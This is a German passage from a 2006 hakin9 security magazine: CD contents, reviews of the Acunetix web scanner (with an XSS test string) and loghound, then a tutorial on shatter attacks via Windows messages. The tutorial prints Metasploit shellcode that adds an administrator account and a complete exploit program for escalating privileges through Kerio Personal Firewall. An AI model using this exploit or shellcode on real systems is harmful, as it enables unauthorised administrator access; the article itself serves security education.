docs – HTML-Dokumentationen; hit – unsere Hits: Acunetix Web Vulnerability Scanner, Steganos Safe 6; art – zusätzliche Materialien zu den Artikeln: Listings, Skripte, notwendige Software; tut – Tutorials, auch SWF-Tutorials; add – Bücher und andere Dokumentationen im PDFFormat (u. a. Auditing your web site security, Survey on frequent pattern mining and The importance web app security whitepaper (Acunetix White Papers); Tools and techniques for Event Log Analysis part A; Iptables); rfc – aktuelle RFC-Dokumente; _arch/* – Archivmaterialien.
Wenn Sie die CD von hakin9.live aus browsen, finden Sie die genannten Verzeichnise unter /mnt/cdrom. Die Version 2.9.1-ng von h9l basiert auf Gentoo (Gentoo Base System Ausgabe 1.6.14) und den livecdtools. Tools, die es in Gentoo nicht gibt, werden aus Verzeichnissen unter /usr/local/portage installiert bzw. in /usr/local/bin kopiert. Die aktuelle h9l hat einen 2.6.15er Kernel mit den Korrekturen aus gentoo-sources-2.6.15-r1. Alle Pakete wurden aktualisiert und mit GCC Version 3.4.4 neu kompiliert. Wir haben neue Treiber und Tools für drahtlose Netzwerkkarten hinzugefügt. Die aktuelle Ausgabe von h9l enthält u.a.: • •
scapy – ein umfangreiches Python-Programm zum Manipulieren von Paketen vieler Internetprotokolle; sipsak – ein einfaches SIP-Tool zum Testen von Softund Hardware, die das SIP-Protokoll verstehen (Session Initiation Protocol);
Abbildung 1. Noch mehr nützliche Tools
10
hakin9 Nr. 3/2006
•
c07-sip – ein Java-Programm für SIP-Anfälligkeitstests.
Die h9l-CD enthält außerdem ein Installationsprogramm (eine modifizierte Version der Installationsskripte von Knoppix). Nach der Installation auf der Festplatte kann zusätzliche Software mit portage (über den Befehl emerge) installiert werden. Die grafische Umgebung von h9l ist Fluxbox mit dem Dateimanager ROX.
Tutorials und Dokumentationen
Die Dokumentationssammlung enthält u.a. die von unserer Redaktion erstellten Tutorials mit praktischen Übungen zu Artikeln wie: Ausnutzen von Fehlern in Windows Systemmessages, Umgehung von Netzwerkfirewalls sowie Tutorials für Artikel aus den vorigen h9-Ausgaben: Sniffing in Netzwerk und Wardriving. Voraussetzung für die Tutorials ist, dass Sie mit hakin9.live arbeiten – so vermeiden Sie Probleme mit unterschiedlichen Compilerversionen, Abweichungen in Konfigurationsdateien und Optionen, die zum Ausführen von Programmen in der jeweiligen Umgebung erforderlich sind. Die aktuelle Version von hakin9.live enthält neben den aktualisierten Tutorials und neuen E-Büchern auch 17 Tutorials im SWF-Format, erstellt von Gilles Fournil. Acunetix bietet hakin9-Lesern eine 30-tägige Vollversion des AcunetixWeb Vulnerability Scanner, die normalerweise 395 US-Dollar kostet. Um diese Version zu aktivieren, installieren Sie die Testversion aus der hakin9.live-CD und registrieren Sie sich unter http://www.acunetix.com/hakin9, um den Aktivierungscode für die Vollversion zu erhalten. Das Angebot gilt bis zum 31. Juli 2006. Steganos schenkt hakin9-Lesern eine Vollversion von Steganos Safe 6. Um sie zu aktivieren, installieren Sie die Testversion aus der hakin9.live -CD; die Aktivierungscodes erhalten Sie nach einer Registrierung unter http://www.steganos.com/magazine/hakin9/safe6. Das Angebot bleibt bis zum 31. Juli 2006 gültig. l
Abbildung 2. Neue attraktive Oberfläche
www.hakin9.org
Acunetix Web Vulnerability Scanner
Tools
Betriebssystem: Windows Lizenz: Kommerziell mit einer 30-Tage-Trialversion Bestimmung: Erkennung von Schwachstellen für Angriffe in Webapplikationen Homepage: http://www.acunetix.com Acunetix Web Vulnerability Scanner ist ein Tool zur Erkennung von Schwachstellen für Angriffe in Enterprise-Webapplikationen. Das Programm liest die ganze Verzeichnisstruktur der Applikation ein und versucht automatisch, typische Angriffe durchzuführen, die Fehler in der Konfiguration bzw. im Applikationscode ausnutzen.
Schnellstart: Nehmen wir an, dass wir für die Sicherheit einer großen Enterprise-Webapplikation verantwortlich sind. Diese Aufgabe benötigt eine Kontrolle einer riesigen Menge von Faktoren, die beste Lösung ist also, ein spezialisiertes Tool einzusetzen. Wir entscheiden uns, das professionelle kommerzielle Programm Acunetix Web Vulnerability Scanner auszuprobieren. Die Arbeit mit dem Scanner ist einfach – die Definition eines neuen Scannvorganges erfolgt mit Hilfe eines Assistenten (siehe Abbildung 1), der uns über fünf Konfigurationsetappen führt. Wir fangen mit der Bestimmung des Scannentyps an. Wir können die Überprüfung mehrerer Applikationen oder einer einzelnen Webseite machen – in diesem Fall werden wir eine Seite in PHP überprüfen. In der nächsten Etappe wählen wir die Technologie, die wir überprüfen möchten. Das Scannen ist sehr schnell, man kann also ruhig alle Optionen auswählen (ASP, PHP, Perl, OpenSSL und andere). Der nächste Bildschirm ermöglicht uns, einen der mehreren Scanprofile zu wählen und die Art der Verarbeitung der Verzeichnisstruktur der Webseite zu bestimmen. Im vierten Schritt der Konfiguration können wir Zugangsdaten zu nicht öffentlich zugänglichen Seiten angeben. Der letzte Bildschirm des Assistenten enthält Konfigurationsoptionen angepasster 404-Fehlerseiten, mit denen wir uns in diesem Fall nicht beschäftigen. Zum Schluss wird ein
Bildschirm angezeigt, der die gewählten Einstellungen zusammenfasst – wir überprüfen, ob alles stimmt und drücken die Schaltfläche Finish. Die Scanergebnisse zeigen, dass der Scanner die Struktur der Applikation genau analysiert. Uns interessieren aber vor allem Informationen, die die Sicherheit betreffen. Sie sind nach Kategorien leserlich gruppiert, wodurch wir sofort den allgemeinen Zustand der Schutzmaßnahmen sehen. Der Einfachheit halber beschäftigen wir uns hier nur mit den Ergebnissen der Analyse der Datei search.php. Der Acunetix-Scanner hat die Anfälligkeit des Skriptes auf einen XSS-Angriff (en. cross site scripting) getestet, indem er in einem POST-Request an die Seite die folgende Zeichenkette gesendet hat: searchFor=<script>var%20wvs _ xss _ test _ varia ble = 889419165%3Baler t(w vs _ xss _ test _ variable)%3B&goButton=go.
Ein nicht genug geschützes Skript soll den zwischen den Tags <script> platzierten Code ausführen, der das Erscheinen eines Dialogfensters mit einer Meldung zur Folge hat. In diesem Fall beeinflusst der Versuch die Wirkung des Skriptes nicht, was man im Request-Fenster und in der HTTP-Antwort sehen kann. Auch die restlichen Skripte haben keine Anfälligkeit für einen solchen Angriff aufgewiesen, wir können also relativ ruhig schlafen – zumindest wenn es um solche Angriffe geht. Andere nüztliche Merkamle: Ein großer Vorteil der Scanergebnisse von Acunetix ist die Tatsache, dass wir nicht nur Informationen über Anfälligkeiten, sondern auch Empfehlungen bekommen, die ermöglichen, diese Anfälligkeiten zu eliminieren. Im Falle der oben beschriebenen Anfälligkeit, empfiehlt das Programm, alle Metazeichen von der Benutzereingabe auszufiltern. Der Scanner besitzt auch eine eigene Datenbank mit Informationen über einzelne Anfälligkeitsarten, die ermöglicht, detaillierte Daten über mögliche Angriffe zu bekommen. Carlos Garcia Prado
Achtung! Abbildung 1. Der Assistent ermöglicht, Scanparameter leicht zu bestimmen
12
hakin9 Nr. 3/2006
Die Firma Acunetix bietet Lesern von hakin9 eine monatliche Lizenz für Acunetix Web Vulnerability Scanner im Wert von $395. Es reicht, sich auf der Seite http://www.acunetix.com/ hakin9 bis zum 31. Juli 2006 zu registrieren.
www.hakin9.org
Tools
loghound Betriebssystem: Unix/Linux Lizenz: GNU GPL Anwendung: Aufsuchen häufig auftretender Muster in Logdateien Homepage: http://kodu.neti.ee/~risto/loghound/ LogHound ist ein Tool zum Aufsuchen von Mustern in Logdateien, das einen breitenorientierten Algorithmus zur Suche nach häufigen Ereigniskombinationen einsetzt.
Schnellstart: Nehmen wir mal an, ein IDS, beispielsweise Snort, arbeitet in unserem Netzwerk. Unsere Aufgabe ist es, die Snort-Alertdatei auf die Spuren üblicher Angriffsversuche hin zu analysieren. Dafür benötigen wir ein Tool, welches die Arbeit für uns verrichtet und die Logeinträge nach vorgegebenen Regeln ausgibt. Loghound, welches unter http://kodu.neti.ee/~risto/loghound/loghound-0.01.tar.gz zum Download bereitsteht, ist eben solch ein Tool. Nachdem wir die Datei herunterlagen haben, legen wir ein neues Verzeichnis an, in das wir die Datei dekomprimieren. Als Nächstes erzeugen wir das Programm mit dem Befehl: gcc -o loghound loghound.c. Um nach typischen Angriffsmustern zu suchen, starten wir loghound im Ereignissuchmodus (event mining mode). Dazu filtern wir Ereignisse dem Typ nach und sortieren sie wie im folgenden Beispiel:
Schritte an. Der für uns wichtigste Punkt, ist die Ausgabe der häufigen Ereigniskombinationen. Beispielsweise: (UDP_PORTSCAN) TCP_PORTSCAN Support: 1 WEB-PHP_REMOTE_INCLUDE_PATH Support: 2 UDP_PORTSCAN Support: 1
Aus der obigen Ausgabe ergibt sich, dass es zumindest einen TCP/UDP_PORTSCAN und zwei REMOTE_ INCLUDE_PATH Angriffe gab. Um loghounds Ausgabe kürzer zu machen (je nach der Aufzeichnungsschwelle der einzelnen Ereignisse), können wir loghound neu starten. Diesmal mit einer Aufzeichnungsschwelle von 2 (-s 2).
WEB-PHP_REMOTE_INCLUDE_PATH TCP_PORTSCAN
UDP_PORTSCAN
WEB-PHP_REMOTE_INCLUDE_PATH
WEB-PHP_REMOTE_INCLUDE_PATH
Support: 2
Es ist zu beachten, dass sich diese Ereignisgruppen jeweils auf eine einzige IP-Zieladresse beziehen sollten. Über die charakteristischen Merkmale des Ereignissuchmodus hinaus, sollten wir festlegen, dass jedes Wort (Element) in einer Zeile (Transaktion) einmalig sein soll. Nachdem wir die Ereignistypen aussortiert haben, können wir loghound wie folgt starten: ./loghound our _
Manchmal wollen wir nur nach einem konkreten Typ von Angriffen suchen – bzw. wie viele TCP_PORTSCANAngriffe überhaupt gegen unser System unternommen wurde. Hierfür können wir einen regulären Ausdruck verwenden, der die Ausgabe auf nur diese Attacken beschränkt: ./loghound our_alert.log –s 1 –g –f Portscan. Darüber hinaus kann loghound zum Aufsuchen häufiger Wortpositionspaare dienen. In diesem Fall verwenden wir es wie folgt: ./loghound our _ alert.log –s 1. Der Unterschied zu dem event mining mode ist, dass Sie Ihre Log-Einträge so lassen können wie sie sind, wobei hingegen jedes Wort (items) an einer bestimmten Position steht. Zum Bespiel: [122:1:0] (portscan) TCP Portscan
alert.log –s 1 –g.
Während des Miningprozesses zeigt loghound verschiedenartige Informationen über die ausgeführten
……… 192.168.0.1 -> 192.168.0.2
Andere nüztliche Merkmale: Durch das Design von loghound, das in einer speziellen Darstellung für ausdruckende Muster arbeitet. Ein neues Muster können erhalten, das Wort in den Klammern auslassen. Beispiel: (UDP _ PORTSCAN) TCP _ PORTSCAN. wobei TCP _ PORTSCAN bzw. TCP _ PORTSCAN,1 ein neues Muster darstellt. Nachteile: Es ist zu vermerken, dass loghound nicht für Produktionszwecke, sondern vielmehr als eine experimentelle Prototypsoftware gedacht ist. Stefan Lochbihler
Abbildung 1. Loghound-Ausgabe
www.hakin9.org
hakin9 Nr. 3/2006
13
Ausnutzen von Fehlern in Windows-Systemmessages Thema der Ausgabe Krzysztof Wilkos
Schwierigkeitsgrad
Messeges sind ein Element der grafischen Benutzerschnittstelle von Windows, das in der täglichen Arbeit kaum wahrgenommen wird, kann für das System jedoch eine ernsthafte Bedrohung darstellen kann. Entsprechend eingesetzt, können die WindowsMeldungen zum Injizieren von Code in andere Applikationen eingestezen werden und im somit die Berechtigungen eines Angreifers erweitern.
I
n Windows-Systemen ist die Steuerung der grafischen Schnittstelle und die Interaktion mit dem Benutzer an Ereignisse gebunden. Die Ereignisse bilden alle Tätigkeiten ab, die im System durch den Benutzer ausgeführt werden können, als auch interne Requests zwischen den verschiedenen Elementen des Systems. Die Messeges ermöglichen einen Austausch von Informationen über die Ereignisse, die im System stattgefunden haben. Den Ereignissen werden entsprechenden Messages zugeordnet, diese werden von den Fenstern erkannt und es findet eine entsprechende Reaktion statt. Als Messages kann sowohl eine Information über das Betätigen einer Maus- oder Tastaturtaste als auch ein Request zum Auffrischen eines Fensters dienen. Ein solches Modell führt die in einer Gui anfallenden Aufgaben gut aus und ist ziemlich zuverlässig. Leider ist es in Zeiten entstanden, in denen das Sicherheitsbewusstsein wenig ausgeprägt warb, was heutzutage ernsthafte Konsequenzen hat. Zu den zwei wichtigsten Nachteilen des Systems gehören: •
14
•
es gibt Messages, die Zeiger auf Strukturen und Funktionen übergeben.
Empfängt ein Fenster eine Messages, steht der Sender der Meldung nicht fest. Die Designer haben eine solche Möglichkeit gar nicht vorgesehen. Aus diesem Grund ist eine vom System gesendete Messeges genauso wichtig wie eine, die von einer Applikation stammt, die über
In diesem Artikel erfahren Sie... • •
Was Sie vorher wissen/können sollten... • •
keine Möglichkeit den Sender einer Messeges zu bestimmen,
hakin9 Nr. 3/2006
welche Gefahr in einer scheinbar unschädlichen Benutzerschnittstelle lauert; wie Code in einem anfälligen Programm ausgeführt werden kann.
www.hakin9.org
Sie sollen über Grundkenntnisse der Programmierung in WinAPI verfügen; Sie sollen wissen, wie man einen Debuggerwie OllyDbg verwendet.
Ausnutzen von Fehlern in Windows-Meldungen
die niedrigsten möglichen Berechtigungen verfügt. Dies spielt zwar im Falle einer Message, die über das Betätigen einer Taste informiert, keine Rolle. Die Lage wird aber ernst, wenn die Messages ein anderes Verhalten der Applikation erzwingt, indem sie deren Speicher oder die Adresse einer Funktion modifiziert. Bevor ich Ihnen zeige, über wie viel Spielraum ein potenzieller Angreifer verfügt, möchte ich zunächst eine Handvoll nützlicher Informationen liefern.
Senden einer Message
Abbildung 1. Programm Process Explorer mit dem markierten Prozess der Firewall
Generieren eines Shellcodes in Metasploit Framework
Da das Schreiben eines Shellcodes eine interessante, dennoch eine langweilige Tätigkeit ist, sind Werkzeuge entstanden, die diese Aufgabe automatisieren. In der Ausgabe 5/2004 des Magazins hakin9 wurde beschrieben, wie man mithilfe der Bibliothek InlineEgg einen Shellcode generieren kann. Wir werden aber ein Tool verwenden, das noch einfacher zu bedienen ist und zum Erstellen, Testen und Anwenden von Exploits dient — Metasploit Framework. Das Programm verfügt über eine umfangreiche Datenbank mit Shellcodes und ermöglicht dem Benutzer, einen eigenen Shellcode zu erstellen. Die Bedienung des Pakets ist denkbar einfach und findet in einem Web-Browser statt. Interessanterweise muss nicht das gesamte Paket installiert werden, da ein Internetzugang vollkommen ausreicht. Das Programm Metasploit Framework steht online unter folgenden Link yur Verfügung: http://metasploit.com:55555/PAYLOADS?FILTER=win32. Auf dieser Webseite finden Sie unter anderem auch eine Liste von Shellcodes für das Betriebssystem Windows. In diesem Artikel soll ein Shellcode erstellt werden, der einen neuen Benutzer mit Administratorrechten hinzufügt. Dazu setzen wir ein Shellcode namens Windows Execute Command ein, um den Befahl zum Anlegen eines neuen Esers auszuführen Der Befehl, der einen neuen Benutzer hinzufügt ist cmd.exe/c net user USERNAME PASSWORD/add && net localgroup administrators/add USERNAME , wobei USERNAME und PASSWORD Benutzername und Passwort bedeuten. Verwenden Sie eine andere Version des Systems als die englischen, sollen Sie statt administrators den Namen der Gruppe der Administratoren der jeweiligen Version eingeben (im Falle der deutschen Version handelt es sich um die Gruppe Administratoren). Um einen Shellcode zu erstellen, der einen Administrator mit dem Login hakin9 hinzufügt und http: //metasploit.com:55555/PAYLOADS?FILTER=win32 herstellt, wählen Sie den Shellcode namens Windows Command Execute aus. Tragen Sie auf der nächsten Seite im Feld mit dem Etikett CMD die Zeile cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 und im Feld EXITFUNC – process ein. Lassen Sie die anderen Felder unverändert. Abbildung 4. zeigt ein korrekt ausgefülltes Formular . Klicken Sie zum Schluss auf Generate Payload, Sie erhalten einen Shellcode. (siehe Listing 5.)
www.hakin9.org
Zum Senden einer Meldung dient die Funktion SendMessage(). Listing 1 zeigt ein Prototyp der Funktion. Der erste Parameter der Funktion ist ein Handle zum Fenster, das als Empfänger der Message fungiert. Der zweite Parameter ist der Typ der Message. Von ihm hängt das Verhalten der Funktion ab. Die nächsten zwei Parameter dienen zum Übermitteln zusätzlicher Informationen je nach Typ der Message. Der Rückgabewert der Funktion hängt ebenfalls vom Typ der Message ab. In Tabelle 1 Listing 1. Prototyp der Funktion SendMessage() LRESULT SendMessage( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
Listing 2. Prototyp der Funktion FindWindow() HWND FindWindow(
LPCTSTR lpClassName, LPCTSTR lpWindowName );
Listing 3. Prototyp der Funktion FindWindowEx() HWND FindWindowEx(
HWND hwndParent, HWND hwndChildAfter, LPCTSTR lpszClass, LPCTSTR lpszWindow );
hakin9 Nr. 3/2006
15
Thema der Ausgabe
Tabelle 1. Ausgewählte Messagen Typ der Message
wParam
lParam
Rückgabewert
WM _ PASTE
0
0
kein
EM _ SETREADONLY
True zum Einschalten und False zum Ausschalten
0
0 wenn die Operation gescheitert ist
EM _ SETLIMITTEXT
maximalle Textlänge
0
kein
WM _ SETTEXT
0
Adresse des neuen Texts
True wenn erfolgreich
EM _ SETWORDBREAKPROC
0
Adresse der Funktion
kein
WM _ LBUTTONDBLCLK
beinhaltet Informationen zum Zustand der Maustasten, Tasten Strg und Umschalttasten
weniger bedeutendes Wort 0 wenn die Applikation die bedeutet die horizontale Meldung verarbeitet hat Position des Cursors, bedeutenderes Wort bedeutet die vertikale Position des Cursors
finden Sie ausgewählte Typen von Messagen, die im Hinblick auf das Thema des Artikels relevant sind.
Fensterhandle
Damit die Message gesendet werden kann, wird ein Handle zum Fenster benötigt, in dem die Message empfangen werden soll. In diesem Artikel werden zwei Funktionen verwendet, mit deren Hilfe Sie das Handle des Fensters bekommen können. Die erste Funktion ist FindWindow(). Ein
Prototyp dieser Funktion wurde in Listing 2 vorgestellt. Diese Funktion durchsucht alle Hauptfenster der laufenden Applikationen durch und gibt das Handle zum Fenster, das die in den Parametern definierten Anforderungen erfüllt, zurück. Der erste Parameter ist ein Zeiger auf den Namen der Fensterklasse, der zweite ein Zeiger auf den Titel des gesuchen Fensters. Man musst nicht immer beide Parameter nicht angeben. Übergibt man
Listing 4. Senden der Meldung — ein Beispiel #include <windows.h> #include <stdio.h> int main() { HANDLE ParentWnd, ChildWnd; ParentWnd = FindWindow("Notepad", NULL); if(ParentWnd == NULL) { printf("You have to run Notepad first!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; }
Ein einfaches Beispiel
Nachdem wir die benötigten Funktionen kennen gelernt haben, ist es an der Zeit, sich mit der praktischen Umsetzung der Theorie zu beschäftigen. Dazu betrachten wir zunächst ein einfaches Beispiel, um zu zeigen, wie das Senden einer Message in der Praxis aussieht. Schauen wir
SendMessage(ChildWnd, WM_PASTE, 0, 0); printf("Message sent!\n"); system("PAUSE"); }
16
hakin9 Nr. 3/2006
anstelle eines Parameters NULL , so sucht die Funktion nur anhand des anderen Parameters nach einem passenden Fenster. Eine Ergänzung der Funktion FindWindow() ist die Funktion FindWindowEx(). Schauen wir uns deren Prototyp an, der sich in Listing 3 befindet. Diese Funktion funktioniert ähnlich wie FindWindow(), erlaubt aber das Beziehen des Handles des Kindfenster – und genau das brauchen wir, um das Handle eines zu manipolierenden Controls in eienem Fenster. Die Fenster in der Applikation sind hierarchisch geordnet. Das Hauptfenster (engl. top-level) enthält ein Kindfenster, wobei dieses noch weitere Fenster enthalten kann usw. Der erste Parameter der Funktion FindWindowEx() ist das Handle des übergeordneten Fensters, unter dem sich Kindfenster befindet. Über den zweiten Parameter kann man ab einem bereits gefunden Kindfenster weitersuchen. Wir geben hier NULL an, um von ganz zu suchen. Die letzten zwei Parameter sind Pendants der Parameter FindWindow().
www.hakin9.org
Ausnutzen von Fehlern in Windows-Meldungen
uns die Message WM_PASTE an. Wie der Name erahnen lässt, erzwingt sie das Einfügen des Inhalts der Zwischenablage. Sie müssen noch eine Applikationen auswählen, mit deren Hilfe das Eingefügte angezeigt werden kann. Ich empfehle Ihnen den Systemeditor Notepad wegen seiner einfachen Struktur. Er besteht lediglich aus drei Fenstern, von denen zwei für uns relevant sind: das Hauptfenster mir dem Klassennamen Notepad und das Control Edit. Diese Angaben bekommen Sie mithilfe von OllyDgb, indem Sie die Position Windows im Menü View auswählen. Mit dem Wissen um die Namen der Klassen und die Verschachtelung der Fenster können Sie den Code für das Senden der Messages schreiben. Listing 4 zeigt den vollständigen Code. Wie Sie sehen, ist er ziemlich einfach. Am Anfang werden die benötigten Header und Variablen deklariert. Anschließend wird die Funktion FindWindow() aufgerufen, wobei als erster Parameter der Name der Klasse des Hauptfensters, der dem Debugger entnommen wurde, angegeben wird. Der zweite Parameter wird nicht angegeben, da er von der geöffneten Datei und der Sprachversion des Systems abhängt. Danach wird überprüft, ob die Funktion das entsprechende Fenster gefunden hat. Sollte das nicht der Fall sein, wird an den User eine entsprechende Nachricht geschickt. Im Falle der Funktion FindWindowEx() wird ähnlich vorgegangen. Der erste Parameter ist das vorher zurückgegeben Handle, der zweite Parameter NULL, da die Suche erst beginnt. Als dritter Parameter wird der Name des Controls angegeben, das die Message empfangen soll. Ist das Handle des Controls Edit bekannt, kann die Meldung gesendet werden. Zu diesem Zweck wird die Funktion SendMessage() mit dem Handle des Controls und dem Typ der Messages aufgerufen.Die hinteren beiden Parameter sind 0 da WM_PASTE keine weiteren Parameter benötigt (siehe Tabele 1). Die wiederholt eingesetzte Zeile system ("PAUSE");
Listing 5. Shellcode, der in der englischsprachigen Version von Windows einen neuen Administrator hinzufügt. /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c";
Abbildung 2. Debuggerfenster mit der Liste aktiver Prozesse
Abbildung 3. Struktur der Fenster des angegriffenen Prozesses ist nicht zwingend notwendig, sie dient nur dazu, das programmfenster beim Programmende offen zu halten, wenn es nicht von der Konsole aus gestertet wurde. Was fehlt noch, um den Effekt des Programms bewundern zu könnem? Denken Sie nach! Natürlich muss auch etwas im CopyBuffer sein.
EM_SETWOR DBREAK PROC Jetz haben wir die Grundlagen kennen gelernt haben, und können uns mit dem Kern der Sache beschäftigen. Wie gesagt, besteht der Nach-
www.hakin9.org
teil des genannten Mechanismus in Windows darin, dass die Message Zeiger auf Funktionen als Zusatzparameter annehmen. Eine solche Meldung ist EM_SETWORDBREAKPROC. Mithilfe dieser Message kann ein Programmierer die DefaultFunktion zum Umbruch eines Textes im Control Edit bzw. RichEdit ändern. Diese Änderung kann nicht nur der Autor des Programms sondern auch jemand anders vornehmen. Und genau diese Tatsache werden wir ausnutzen. Aus der Tabelle 1 geht hervor, dass lParam die Adresse der neuen Funktion sein soll.
hakin9 Nr. 3/2006
17
Thema der Ausgabe
Listing 6. Arbeitsversion des Exploits #include <windows.h> #include <stdio.h> /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "hakin9\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr;
ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!\n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, EM_SETLIMITTEXT, sizeof(scode), 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)scode)) { printf("Sending WM_SETTEXT message failed!\n"); system("PAUSE"); return 1; } printf("Write shellcode address from debbugger (ex. 0x0014E360):\n"); scanf("%x", &scaddr); SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, scaddr); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a ); }
18
hakin9 Nr. 3/2006
www.hakin9.org
Selbstverständlich muss die Adresse der Fenktion im Parameter IParam Übergeben wird. Selbstverständlich muss die Adresse im Hinblick auf den Prozess, der über das gegebene Control verfügt, korrekt sein. Damit Ihr Code in einer anderen Applikation ausgeführt werden kann, muss er dem Programm des Opfers verfügbar gemacht werden. Es ist nicht schwierig, Daten im Speicher eines anderen Prozesses zu platzieren. Sie können den auszuführenden Code im Control Edit speichern und ihn anschließend mithilfe des Debuggers im Speicher finden.
Anfälliges Programm
Der Angriff erlaubt das Ausführen eines beliebigen Codes durch jede Applikation, die über das Control Edit verfügt. In Wirklichkeit sind die meisten modernen Programme für einen solchen Angriff anfällig - es hat aber nur dann einen Sinn, wenn die Applikationen über besondere Privilegien verfügen. Sonst erreichen wir gar nichts, da zum Durchführen des Angriffs sowieso das Starten einer eigenen Applikation im System benötigt wird. Zu den besonders privilegierten Applikationen gehören solche, die mit den Systemberechtigungen laufen, wie z.B. Antivirenprogramme und private Firewalls. Läuft im System eine solche Applikation, kann eine Person mit den Berechtigungen eines gewöhnlichen Benutzers diese auf Systemrechte erweitern. Ein anderes Beispiel sind Applikationen, für die Firewall-Regeln definiert wurden. Dadurch kann die Firewall ausgetrickst werden, was einem unberechtigten Zugang zum Netzwerk Tür und Tor öffnet.
Erweiterung eigener Berechtigungen im System
Angenommen, Sie haben Zugang zu einem Windows-System und möchten Administratorrechte erlangen. Im System läuft Kerio Personal Firewall, die zum Objekt des Angriffs werden soll. Zu diesem Zweck starten Sie den Prozessmanager, in dem die laufen-
Ausnutzen von Fehlern in Windows-Meldungen
